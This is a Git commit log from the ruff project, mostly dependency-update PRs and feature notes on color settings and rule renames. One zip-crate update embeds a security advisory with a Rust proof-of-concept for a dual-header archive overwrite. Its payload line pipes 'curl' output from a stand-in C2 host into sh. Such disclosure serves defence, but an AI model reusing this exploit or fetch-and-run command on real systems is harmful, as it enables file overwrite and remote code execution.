log](https://developer.mend.io/github/astral-sh/ruff).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4yMjIuNSIsInVwZGF0ZWRJblZlciI6IjQ0LjIyMi41IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJpbnRlcm5hbCJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-11-11 08:07:20 +01:00
renovate[bot] 73c65a2ff1 Update Rust crate indoc to v2.0.8 (#30304)
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [indoc](https://redirect.github.com/dtolnay/indoc) |
workspace.dependencies | patch | `2.0.7` → `2.0.8` |

---

> [!WARNING]
> Some dependencies could not be looked up. Check the [Dependency
Dashboard](../issues/10578) for more information.

---

### Release Notes

<details>
<summary>dtolnay/indoc (indoc)</summary>

###
[`v2.0.8`](https://redirect.github.com/dtolnay/indoc/releases/tag/2.0.8)

[Compare
Source](https://redirect.github.com/dtolnay/indoc/compare/2.0.7...2.0.8)

- Add panicdoc macro
([#&#8203;70](https://redirect.github.com/dtolnay/indoc/issues/70),
thanks [@&#8203;joshka](https://redirect.github.com/joshka))

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - "before 4am on Wednesday"
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/astral-sh/ruff).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4yMjIuNSIsInVwZGF0ZWRJblZlciI6IjQ0LjIyMi41IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJpbnRlcm5hbCJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-11-11 08:07:00 +01:00
renovate[bot] a6cd605504 Update Rust crate smallvec to v1.16.3 (#30307)
This PR contains the following updates:

| Package | Type | Update | Change | Pending |
|---|---|---|---|---|
| [smallvec](https://redirect.github.com/servo/rust-smallvec) |
workspace.dependencies | patch | `1.16.2` → `1.16.3` | `1.16.5` (+1) |

---

> [!WARNING]
> Some dependencies could not be looked up. Check the [Dependency
Dashboard](../issues/10578) for more information.

---

### Release Notes

<details>
<summary>servo/rust-smallvec (smallvec)</summary>

###
[`v1.16.3`](https://redirect.github.com/smallvec/smallvec/releases/tag/v1.16.3)

[Compare
Source](https://redirect.github.com/servo/rust-smallvec/compare/v1.16.2...v1.16.3)

#### What's Changed

- Port new fuzzer to v1 by
[@&#8203;bolshoytoster](https://redirect.github.com/bolshoytoster) in
[#&#8203;678](https://redirect.github.com/servo/rust-smallvec/pull/678)
- fix: overflow during fuzzy check by
[@&#8203;GauravPawar101](https://redirect.github.com/GauravPawar101) in
[#&#8203;693](https://redirect.github.com/servo/rust-smallvec/pull/693)
- chore: bump version by
[@&#8203;alejandro-vaz](https://redirect.github.com/alejandro-vaz) in
[#&#8203;723](https://redirect.github.com/servo/rust-smallvec/pull/723)

**Full Changelog**:
<https://github.com/servo/rust-smallvec/compare/v1.16.2...v1.16.3>

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - "before 4am on Wednesday"
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/astral-sh/ruff).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4yMjIuNSIsInVwZGF0ZWRJblZlciI6IjQ0LjIyMi41IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJpbnRlcm5hbCJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-11-11 08:06:35 +01:00
layeh 47daf1c20b Fix FreeBSD source builds with libc 0.2.190 (#30176)
## Summary

Update the locked Mio dependency from 1.0.4 to 1.2.4, which includes the
upstream fix for the removed `libc::NOTE_PCTRLMASK` constant. This
resolves the compilation failure reported in #30174.

Only Mio's lockfile entry changes, all other package records are
preserved.

Fixes #30174.

## Test Plan

- `cargo check --locked -p notify --target x86_64-unknown-freebsd`:
reproduces the reported error before the update and passes afterward.
- `cargo test --locked -p ruff`: 372 tests passed.
- `cargo fmt --all -- --check`: passed.
- `uv run --python 3.12 --only-dev --locked prek run --files
Cargo.lock`: passed.
- Scoped Clippy fails on an existing `needless_update` warning in
`crates/ruff_db/src/system/os.rs:53`. The same failure reproduces on the
unchanged base; that code is left untouched.

The FreeBSD check compiles Notify and its dependencies. Full Ruff
linking and runtime execution on FreeBSD were not tested.
2026-11-08 21:49:17 +00:00
astral-automations-bot[bot]andBrent Westbrook 05cdc36a45 Bump version to 0.17.4 (#30073)
Co-authored-by: astral-automations-bot[bot] <305554984+astral-automations-bot[bot]@users.noreply.github.com>
Co-authored-by: Brent Westbrook <36778786+ntBre@users.noreply.github.com>
2026-11-05 13:22:15 -05:00
Micha Reiser c9150f0083 Add project walltime benchmarks for Ruff (#30061) 2026-11-05 15:57:31 +01:00
Micha ReiserandDavid Peter 3c7973bd17 [ty] Warn about renamed rules in ignore comments (#30026)
## Summary

Add a new lint rule that warns about renamed rule names in ignore
comments, including a fix to apply the rename.

This is the same as ruff's
https://docs.astral.sh/ruff/rules/redirected-noqa/

---------

Co-authored-by: David Peter <sharkdp@users.noreply.github.com>
2026-11-04 17:07:53 +00:00
renovate[bot] d4de8da336 Update Rust crate console to v0.16.6 (#30001) 2026-11-04 00:47:54 -08:00
renovate[bot] 049091428f Update Rust crate libc to v0.2.190 (#30002) 2026-11-04 00:47:33 -08:00
renovate[bot] 3979e648f7 Update Rust crate insta to v1.49.0 (#30007) 2026-11-04 00:47:03 -08:00
renovate[bot] 388ec2f4b9 Update Rust crate uuid to v1.27.0 (#30008) 2026-11-04 00:46:33 -08:00
renovate[bot] 0a8149085e Update Rust crate clearscreen to v5 (#30009) 2026-11-04 00:43:40 -08:00
Alex Waygood 0471c14d1f [ty] Rename unresolved-import to import-not-found (#29960)
## Summary

ty currently reports `unresolved-import` for both a missing module and a
missing member in a `from` import. But the word "unresolved" is heavily
overloaded in Python, and has been reported by users as being confusing
(see https://github.com/astral-sh/ty/issues/2471). This PR renames the
rule to `import-not-found`, which describes the lookup failure in either
case.

Configuration, command-line flags, and ignore comments accept either
spelling. If several flags set this rule’s severity using different
spellings, the last flag wins. Existing baseline entries still match,
and rewriting a baseline uses the new name. Links to the old rule
heading still work.
2026-11-03 19:53:26 +00:00
Alex Waygood 815c959e03 Give NO_COLOR precedence in Ruff and ty diagnostics (#29898)
## Summary

Today, if a CI job exports `FORCE_COLOR=1`, running `NO_COLOR=1 ruff
check .` still prints colored diagnostics. The same happens with `ty
check`. Giving a non-empty `NO_COLOR` priority lets users request plain
output without having to unset a variable inherited from their
environment. This matches how uv and the Python interpreter resolve that
conflict. Users who want color for one command can still pass
`--color=always`. [uv’s
resolver](https://github.com/astral-sh/uv/blob/39a02a0d9085f14dc3d5aa8655ac010a1fd377f8/crates/uv-cli/src/settings.rs#L172-L197)
· [Python’s color
precedence](https://docs.python.org/3/using/cmdline.html#controlling-color)

Previously, the shared resolver turned `FORCE_COLOR` into an override
before `colored` could honor `NO_COLOR`. The resolver now handles the
color environment for both tools, and `colored` styles diagnostics on
stdout according to that decision. The first matching rule wins.

1. Use an explicit `--color=always` or `--color=never`.
2. A non-empty `NO_COLOR` disables color.
3. A non-empty `FORCE_COLOR` or `CLICOLOR_FORCE` enables color,
including in a pipe.
4. If stdout is a pipe or file, disable color.
5. On a terminal, enable color if `CLICOLOR` is non-empty or `TERM` is
anything other than `dumb` (including unset).

All four color variables treat `0` as non-empty and an empty string as
unset. In particular, `FORCE_COLOR=""` previously disabled color. It now
lets the remaining settings and terminal detection decide.

## Comparison with the upstream conventions

- The [`NO_COLOR` convention](https://no-color.org/) specifies that a
non-empty value disables color by default and that command-line options
can override it. It gives no rule for a conflict with `FORCE_COLOR`. Its
FAQ also limits the convention to color, while Ruff and ty suppress
other diagnostic styling, such as bold text, when color is disabled.
- The [`FORCE_COLOR` convention](https://force-color.org/) specifies
that any non-empty value enables color, even in a pipe. Its example
applies `FORCE_COLOR` last, so the example produces colored output when
both variables are set. Here we follow uv and CPython in giving
`NO_COLOR` priority.
- The [CLICOLORS specification](https://bixense.com/clicolors/) gives
`NO_COLOR` priority over `CLICOLOR_FORCE` and makes `CLICOLOR` a
terminal-only request. We follow those rules, add `FORCE_COLOR` as an
alias for `CLICOLOR_FORCE`, and use `TERM=dumb` for the default the spec
leaves to applications.

## Comparison with uv

When `--color` is omitted, uv also checks non-empty `NO_COLOR` before
either force variable. In Ruff and ty, passing `--color=auto` has the
same effect as omitting it. In uv, passing it delegates the decision to
`anstream`, which recognizes `CLICOLOR_FORCE` but ignores `FORCE_COLOR`.

The terminal heuristics also differ: uv delegates to anstream, which
handles `TERM=dumb` differently depending on which platform uv is being
run on, and also honours the `CI` variable. I'd prefer not to have
platform-dependent behaviour or to have behaviour automatically be
different in CI; that feels too confusing/magical to me. [uv’s
resolver](https://github.com/astral-sh/uv/blob/39a02a0d9085f14dc3d5aa8655ac010a1fd377f8/crates/uv-cli/src/settings.rs#L172-L197)
· [`anstream`
detection](https://docs.rs/anstream/1.0.0/src/anstream/auto.rs.html#198-219)
· [`anstyle-query` environment
checks](https://docs.rs/anstyle-query/1.1.5/src/anstyle_query/lib.rs.html#23-82)

Each example assumes other color settings are unset.

| Case | Ruff and ty with this change | uv |
| --- | --- | --- |
| `FORCE_COLOR=1` with `--color=auto`, output piped | Colored, as when
the flag is omitted | Plain |
| `CLICOLOR=0 TERM=xterm`, on a terminal | Colored | Plain |
| `CLICOLOR="" TERM=dumb`, on a terminal | Plain | Colored |
| `CI=1 TERM=dumb`, on a terminal | Plain | Colored |
| `TERM` unset, on a terminal | Colored on all platforms | Plain on
non-Windows platforms, colored on Windows |

An empty `TERM` allows color on a terminal in both implementations.
2026-11-02 14:30:23 +00:00
Alex Waygood cbea27a609 [ty] Honor color overrides in progress bars (#29891) 2026-11-02 09:19:17 +00:00
Alex Waygood 4233a93546 [ty] Respect FORCE_COLOR in ty check (#29830) 2026-10-31 02:43:23 +00:00
renovate[bot]andBrent Westbrook fde7c6debc Update Rust crate zip to v9 (#29808)
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [zip](https://redirect.github.com/zip-rs/zip2) |
workspace.dependencies | major | `8.0` → `9.0` |

---

### zip: Critical Parser Differential & Security Control Bypass via
Dual-Header Inconsistencies (Zip Cloaking) Leading to Arbitrary File
Overwrite & RCE
[CVE-2026-115905](https://nvd.nist.gov/vuln/detail/CVE-2026-115905) /
[GHSA-m665-v7pm-7grj](https://redirect.github.com/advisories/GHSA-m665-v7pm-7grj)

<details>
<summary>More information</summary>

#### Details
##### Summary
A critical architectural parser differential exists in the `zip` crate
(`<= 9.0.4`) between random-access archive readers (`ZipArchive`) and
streaming readers (`ZipStreamReader`). `ZipArchive` considers the
Central Directory File Header (CDFH) authoritative and ignores the
filename declared in the Local File Header (LFH). In contrast,
`ZipStreamReader` relies exclusively on the Local File Header (LFH) when
extracting files to the filesystem.

This discrepancy enables ZIP archives to appear to have different file
paths and contents according to which tool is reading them.

---

##### Details

##### Architectural Root Cause
In the PKWARE ZIP archive format, every file entry is defined in two
distinct locations:
1. **Local File Header (LFH):** Precedes the compressed payload of each
file in the body of the archive.
2. **Central Directory File Header (CDFH):** Stored in a contiguous
index at the end of the archive.

In `zip2`:
- `src/read/zip_archive.rs`: `ZipArchive` parses the central directory
into `SharedBuilder.files`. All file lookups by index or name read
exclusively from the CDFH table, completely ignoring the filename
present in the LFH.
- `src/read/stream.rs:L86-L141`: `ZipStreamReader::visit` and
`ZipStreamReader::extract` read sequentially from the stream without
verifying the central directory index. Each entry is parsed via
`read_zipfile_from_stream` and written to disk using the unverified
filename declared in the LFH:
  ```rust
  // src/read/stream.rs
fn visit_file<R: Read>(&mut self, file: &mut ZipFile<'_, R>) ->
ZipResult<()> {
file.safe_prepare_path(&self.outpath, &mut outpath, None::<&(_,
fn(&Path) -> bool)>)?;
      let mut outfile = fs::File::create(&outpath)?;
      io::copy(file, &mut outfile)?;
      Ok(())
  }
  ```
- `src/write.rs:L1552`: The crate explicitly exposes
`shallow_copy_file`, an API that constructs dual-header
desynchronizations by adding a new CDFH entry with an alias name
pointing to an existing file without updating the original LFH.

##### Threat Scenario & Severity Justification (10.0 / 9.9 Critical)
1. **Security Control Evasion:** An adversary crafts a ZIP archive
where:
- Central Directory Header declares: `doc_report.pdf` (Clean document)
- Local File Header declares: `cron_worker.sh` (Malicious root backdoor)
2. The archive is uploaded through a web portal or API endpoint
protected by security gateways (WAF, Anti-Virus, Content Disarm &
Reconstruction). The security gateway inspects the archive using
`ZipArchive` (or similar CDFH-first parsers), detects only
`doc_report.pdf`, and approves the file.
3. The backend worker or cloud function receives the approved archive
and extracts it using `ZipStreamReader::extract`. `ZipStreamReader`
reads the LFH and overwrites `cron_worker.sh`.
4. **Full Compromise (CIA = High):** The legitimate production health
checker / service script is destroyed (**Availability = High / DoS**),
while the attacker's backdoor payload is implanted (**Integrity = High /
RCE**).

---

##### Proof of Concept
The following automated integration test reproducibly demonstrates the
complete CVSS 10.0 / 9.9 exploit chain (Security Gateway Evasion ->
Arbitrary File Overwrite -> RCE & DoS) against `zip2`:

```rust
use std::fs;
use std::io::{Cursor, Write};
use tempfile::tempdir;
use zip::unstable::stream::ZipStreamReader;
use zip::write::SimpleFileOptions;
use zip::{ZipArchive, ZipWriter};

// Simulated Security Gateway (inspects CDFH via ZipArchive)
fn security_gateway_inspection(archive_bytes: &[u8]) -> Result<(), String> {
    let mut archive = ZipArchive::new(Cursor::new(archive_bytes)).unwrap();
    for i in 0..archive.len() {
        let name = archive.by_index(i).unwrap().name().unwrap().to_string();
        if name.ends_with(".sh") || name.ends_with(".exe") {
            return Err(format!("MALWARE DETECTED: '{}' blocked!", name));
        }
        if !name.ends_with(".pdf") {
            return Err("Policy violation: only PDFs allowed!".into());
        }
    }
    Ok(())
}

#[test]
fn test_cvss_9_9_dual_header_exploit_chain() {
    // 1. Victim server setup: existing critical script
    let victim_env = tempdir().unwrap();
    let victim_dir = victim_env.path();
    let target_script = victim_dir.join("cron_worker.sh");
    fs::write(&target_script, b"#!/bin/sh\n# PRODUCTION SERVICE\necho 'SERVICE HEALTHY'\n").unwrap();

    // 2. Attacker crafts Single-Entry Dual-Header Archive
    // LFH: "cron_worker.sh" | CDFH: "doc_report.pdf"
    let mut payload = Cursor::new(Vec::new());
    let mut writer = ZipWriter::new(&mut payload);
    writer.start_file("cron_worker.sh", SimpleFileOptions::default()).unwrap();
    writer.write_all(b"#!/bin/sh\ncurl -s https://c2/shell | sh\necho 'PWNED ROOT'\n").unwrap();
    writer.finish().unwrap();

    let mut malicious_zip = payload.into_inner();
    let cdh = malicious_zip.windows(4).position(|s| s == b"PK\x01\x02").unwrap();
    malicious_zip[cdh + 46..cdh + 46 + 14].copy_from_slice(b"doc_report.pdf");

    // 3. Gateway Inspection (Bypassed!)
    assert!(security_gateway_inspection(&malicious_zip).is_ok());

    // 4. Backend Extraction (ZipStreamReader)
    ZipStreamReader::new(Cursor::new(&malicious_zip)).extract(victim_dir).unwrap();

    // 5. Impact Verification
    let compromised = fs::read_to_string(&target_script).unwrap();
    assert!(!compromised.contains("SERVICE HEALTHY")); // DoS Confirmed
    assert!(compromised.contains("PWNED ROOT"));       // RCE Confirmed
}
```

##### Verified Test Execution Output
```text
running 1 test
==================================================================
Dual-Header Security Gateway Evasion
Exploit Chain: Gateway Evasion -> Arbitrary Overwrite -> RCE & DoS
==================================================================
[VICTIM SERVER STATE - BEFORE ATTACK]
Existing Content:
SERVICE IS RUNNING NORMALLY

--- [STEP 1: SECURITY GATEWAY INSPECTION] ---
[SECURITY GATEWAY] Auditing entry #&#8203;0: 'doc_report.pdf'
[GATEWAY VERDICT]: Ok(())
[VULNERABILITY PROOF 1/3]: Security gateway was 100% BLIND to 'cron_worker.sh'!

--- [STEP 2: BACKEND EXTRACTION (ZipStreamReader)] ---
Backend server unzips approved archive into production directory.

--- [STEP 3: POST-ATTACK IMPACT VERIFICATION] ---
[VICTIM SERVER STATE - AFTER ATTACK]
Compromised Content:
curl -s https://attacker.c2/shell | sh
echo 'PWNED: FULL ROOT TAKEOVER'
```

---

##### Impact
An attacker can construct a crafted archive whose Central Directory
displays a benign filename (doc_report.pdf) that is inspected and
approved by upstream security gateways (antivirus scanners, mail
filters, upload firewalls), while automated backend ingestion pipelines
or microservices using ZipStreamReader extract an arbitrary or malicious
file (overwriting e.g. cron_worker.sh or critical system binaries).
Because an adversary can overwrite existing files on disk, this
vulnerability leads to Security Control Bypass, Arbitrary File
Overwrite, Complete Denial of Service, and Remote Code Execution (RCE)
in situations where a tool relying on the central directory trusts a
tool that relied on the local file headers or vice-versa.

**Who is Impacted:**
- Automated ingestion microservices, SaaS platforms, and backend workers
that extract user-submitted ZIP files.
- Enterprise architectures where security verification (AV scanning,
extension whitelisting) is decoupled from extraction (e.g. gateway
audits Central Directory via CDFH before handing off extraction to
streaming extractors).
- Containerized workloads where overwriting local configuration files or
executable scripts leads to host/container escape and complete service
disruption.

#### Severity
- CVSS Score: 10.0 / 10 (Critical)
- Vector String:
`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:L`

#### References
-
[https://github.com/zip-rs/zip2/security/advisories/GHSA-m665-v7pm-7grj](https://redirect.github.com/zip-rs/zip2/security/advisories/GHSA-m665-v7pm-7grj)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-115905](https://nvd.nist.gov/vuln/detail/CVE-2026-115905)
-
[https://github.com/zip-rs/zip2/commit/8068ab480ccf8daa7411424e365fcdbe6d09443e](https://redirect.github.com/zip-rs/zip2/commit/8068ab480ccf8daa7411424e365fcdbe6d09443e)
-
[https://github.com/zip-rs/zip2/releases/tag/v9.0.5](https://redirect.github.com/zip-rs/zip2/releases/tag/v9.0.5)
-
[https://github.com/advisories/GHSA-m665-v7pm-7grj](https://redirect.github.com/advisories/GHSA-m665-v7pm-7grj)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-m665-v7pm-7grj)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>zip-rs/zip2 (zip)</summary>

###
[`v9.0.5`](https://redirect.github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#905---2026-10-17)

[Compare
Source](https://redirect.github.com/zip-rs/zip2/compare/v9.0.4...v9.0.5)

##### <!-- 1 -->🐛 Bug Fixes

- use mode_t for fchmodat's mode, which is u32 on NetBSD and OpenBSD
([#&#8203;1076](https://redirect.github.com/zip-rs/zip2/pull/1076))
- *(write)* prevent duplicate 0x9901 AES extra field in raw_copy_file
([#&#8203;1078](https://redirect.github.com/zip-rs/zip2/pull/1078))

##### <!-- 7 -->⚙️ Miscellaneous Tasks

- Enable release-plz on backport branches in future
([#&#8203;1079](https://redirect.github.com/zip-rs/zip2/pull/1079))

###
[`v9.0.4`](https://redirect.github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#904---2026-10-16)

[Compare
Source](https://redirect.github.com/zip-rs/zip2/compare/v9.0.3...v9.0.4)

##### <!-- 1 -->🐛 Bug Fixes

- enclosed_name rejects a separator inside one verbatim path component
([#&#8203;1066](https://redirect.github.com/zip-rs/zip2/pull/1066))
- return `Ok(None)` when read_zipfile_from_stream is called on an empty
archive
([#&#8203;1063](https://redirect.github.com/zip-rs/zip2/pull/1063))

##### <!-- 7 -->⚙️ Miscellaneous Tasks

- Revert impl Copy for Zip64CentralDirectoryEndLocator due to failing
semver check, fix CI where most Miri tests weren't running, and other
fixes so other PRs can pass CI
([#&#8203;1065](https://redirect.github.com/zip-rs/zip2/pull/1065))
- update lzma-rust2 and ppmd-rust dependencies
([#&#8203;1060](https://redirect.github.com/zip-rs/zip2/pull/1060))

###
[`v9.0.3`](https://redirect.github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#903---2026-10-13)

[Compare
Source](https://redirect.github.com/zip-rs/zip2/compare/9.0.2...v9.0.3)

##### <!-- 1 -->🐛 Bug Fixes

- Preserve directories' read-only status when extracting on non-Unix
systems
([#&#8203;1054](https://redirect.github.com/zip-rs/zip2/pull/1054))

###
[`v9.0.2`](https://redirect.github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#902---2026-10-11)

[Compare
Source](https://redirect.github.com/zip-rs/zip2/compare/v9.0.1...9.0.2)

##### <!-- 1 -->🐛 Bug Fixes

- additional bug fixes for symlink extraction

###
[`v9.0.1`](https://redirect.github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#901---2026-10-10)

[Compare
Source](https://redirect.github.com/zip-rs/zip2/compare/v9.0.0...v9.0.1)

##### <!-- 1 -->🐛 Bug Fixes

- set_permissions was still following symlinks in non-streaming
extraction
([#&#8203;1038](https://redirect.github.com/zip-rs/zip2/pull/1038))
- two arithmetic overflows in the implode decoder
([#&#8203;1028](https://redirect.github.com/zip-rs/zip2/pull/1028))
- reject an empty archive whose central directory offset is past the
EOCD ([#&#8203;1025](https://redirect.github.com/zip-rs/zip2/pull/1025))
- don't panic when two entries extract to the same path
([#&#8203;1023](https://redirect.github.com/zip-rs/zip2/pull/1023))
- fail reads that exceed the declared uncompressed size
([#&#8203;1022](https://redirect.github.com/zip-rs/zip2/pull/1022))
- shrink decoder skipped LZW code 8191
([#&#8203;1029](https://redirect.github.com/zip-rs/zip2/pull/1029))
- write only the sentinel-marked values in a central ZIP64 field
([#&#8203;1027](https://redirect.github.com/zip-rs/zip2/pull/1027))

###
[`v9.0.0`](https://redirect.github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#900---2026-10-08)

[Compare
Source](https://redirect.github.com/zip-rs/zip2/compare/v8.6.0...v9.0.0)

##### <!-- 0 -->🚀 Features

- add ZipFileBuilder for parallelizing compression
([#&#8203;911](https://redirect.github.com/zip-rs/zip2/pull/911))
- add method `by_index_with_data_descriptor`
([#&#8203;994](https://redirect.github.com/zip-rs/zip2/pull/994))
- add len, is_empty and entry to ZipArchiveMetadata
([#&#8203;1015](https://redirect.github.com/zip-rs/zip2/pull/1015))
- read data descriptor from binary
([#&#8203;990](https://redirect.github.com/zip-rs/zip2/pull/990))
- add comment and test for ZipStreamReader and symlinks
([#&#8203;985](https://redirect.github.com/zip-rs/zip2/pull/985))
- *(write)* add `ZipWriter::hide_file` for in-place entry deletion
([#&#8203;924](https://redirect.github.com/zip-rs/zip2/pull/924))
- add compression
([#&#8203;948](https://redirect.github.com/zip-rs/zip2/pull/948))
- add test to in place modification
([#&#8203;945](https://redirect.github.com/zip-rs/zip2/pull/945))
- move CustomExtraField to own file
([#&#8203;941](https://redirect.github.com/zip-rs/zip2/pull/941))
- add a test on enum size
([#&#8203;939](https://redirect.github.com/zip-rs/zip2/pull/939))
- use ZipFileEntry instead of ZipStreamFileMetadata
([#&#8203;935](https://redirect.github.com/zip-rs/zip2/pull/935))
- add ZipFileEntry with no Reader
([#&#8203;933](https://redirect.github.com/zip-rs/zip2/pull/933))
- change `aes_mode` to `aes_settings()` in ZipFileData
([#&#8203;925](https://redirect.github.com/zip-rs/zip2/pull/925))
- cleanup and harmonize extra fields
([#&#8203;923](https://redirect.github.com/zip-rs/zip2/pull/923))
- Rewrite zip64 extra
([#&#8203;913](https://redirect.github.com/zip-rs/zip2/pull/913))

##### <!-- 1 -->🐛 Bug Fixes

- reading an empty AES entry again at EOF returns Ok(0)
([#&#8203;1024](https://redirect.github.com/zip-rs/zip2/pull/1024))
- reject ZIP64 sizes that overflow u64 when computing data end offsets
([#&#8203;1036](https://redirect.github.com/zip-rs/zip2/pull/1036))
- apply central directory metadata in ZipStreamReader, only to written
entries
([#&#8203;1030](https://redirect.github.com/zip-rs/zip2/pull/1030))
- consume the whole extended timestamp field in the central header
([#&#8203;1016](https://redirect.github.com/zip-rs/zip2/pull/1016))
- parse the central header of the extended timestamp
([#&#8203;1002](https://redirect.github.com/zip-rs/zip2/pull/1002))
- don't pre-allocate the declared size in the legacy decoders
([#&#8203;991](https://redirect.github.com/zip-rs/zip2/pull/991))
- Symlink with very large declared size could lead to out-of-memory
panic ([#&#8203;984](https://redirect.github.com/zip-rs/zip2/pull/984))
- copy extra fields in raw_copy_file
([#&#8203;955](https://redirect.github.com/zip-rs/zip2/pull/955))
([#&#8203;982](https://redirect.github.com/zip-rs/zip2/pull/982))
- add unix_mode when copy_raw_file
([#&#8203;981](https://redirect.github.com/zip-rs/zip2/pull/981))
- rewrite documentation of add_symlink_from_path
([#&#8203;979](https://redirect.github.com/zip-rs/zip2/pull/979))
- ignore a ZIP64 extra field that no sentinel asked for
([#&#8203;962](https://redirect.github.com/zip-rs/zip2/pull/962))
- do not set data descriptor if directory
([#&#8203;973](https://redirect.github.com/zip-rs/zip2/pull/973))
- expose flags function for easier access
([#&#8203;972](https://redirect.github.com/zip-rs/zip2/pull/972))
- preserve unix permission in raw_copy_file
([#&#8203;956](https://redirect.github.com/zip-rs/zip2/pull/956))
- clippy warning on nightly
([#&#8203;960](https://redirect.github.com/zip-rs/zip2/pull/960))
- remove extra alloc used to copy
([#&#8203;938](https://redirect.github.com/zip-rs/zip2/pull/938))
- lazy allocation on error case
([#&#8203;937](https://redirect.github.com/zip-rs/zip2/pull/937))
- fix data alignment
([#&#8203;929](https://redirect.github.com/zip-rs/zip2/pull/929))

##### <!-- 2 -->🚜 Refactor

- move extract to own file
([#&#8203;1009](https://redirect.github.com/zip-rs/zip2/pull/1009))
- cleanup permissions related code
([#&#8203;961](https://redirect.github.com/zip-rs/zip2/pull/961))
- remove feature gate
([#&#8203;949](https://redirect.github.com/zip-rs/zip2/pull/949))
- create `ZipFileFlags` to wrap `flags`
([#&#8203;947](https://redirect.github.com/zip-rs/zip2/pull/947))
- remove unused trait
([#&#8203;946](https://redirect.github.com/zip-rs/zip2/pull/946))
- access `crate::format` with `zip::unstable::format`
([#&#8203;944](https://redirect.github.com/zip-rs/zip2/pull/944))
- harmonize functions to `format/functions.rs`
([#&#8203;943](https://redirect.github.com/zip-rs/zip2/pull/943))
- rewrite `make_reader()` function
([#&#8203;936](https://redirect.github.com/zip-rs/zip2/pull/936))
- simplify `initialize_local_block`
([#&#8203;934](https://redirect.github.com/zip-rs/zip2/pull/934))
- move write options to `write/options.rs`
([#&#8203;931](https://redirect.github.com/zip-rs/zip2/pull/931))
- move spec to format
([#&#8203;932](https://redirect.github.com/zip-rs/zip2/pull/932))
- move Magic to format
([#&#8203;930](https://redirect.github.com/zip-rs/zip2/pull/930))
- \[**breaking**] Remove ZipFileData::extra_data_start field that is
never read
([#&#8203;926](https://redirect.github.com/zip-rs/zip2/pull/926))

##### <!-- 7 -->⚙️ Miscellaneous Tasks

- Fix high-level symlink extraction logic, disable some tests in miri,
and fix some typos
([#&#8203;1035](https://redirect.github.com/zip-rs/zip2/pull/1035))

##### Fix

- some permissions tests can only run on Unix
([#&#8203;1000](https://redirect.github.com/zip-rs/zip2/pull/1000))

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/astral-sh/ruff).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xODguMiIsInVwZGF0ZWRJblZlciI6IjQ0LjE4OC4yIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJpbnRlcm5hbCIsInNlY3VyaXR5Il19-->

---------

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Co-authored-by: Brent Westbrook <brentrwestbrook@gmail.com>
2026-10-28 20:25:31 -04:00
renovate[bot] a8e4179e56 Update Rust crate test-case to v3.4.0 (#29778) 2026-10-28 00:23:45 +00:00
renovate[bot] 7eda7b9c1f Update Rust crate thiserror to v2.0.21 (#29775) 2026-10-28 00:22:11 +00:00
renovate[bot] 85eef2ff19 Update Rust crate smallvec to v1.16.2 (#29774) 2026-10-28 00:21:42 +00:00
astral-automations-bot[bot]andBrent Westbrook ba65abf8ba Bump version to 0.17.3 (#29745)
Co-authored-by: astral-automations-bot[bot] <305554984+astral-automations-bot[bot]@users.noreply.github.com>
Co-authored-by: Brent Westbrook <36778786+ntBre@users.noreply.github.com>
2026-10-26 20:14:27 -04:00
Micha Reiser 207ec3affe [ty] Add diagnostic baseline support (#27636) 2026-10-26 13:34:01 -07:00
Brent Westbrook 8334c5c57d [ty] Add support for SARIF output (#29635)
Summary
--

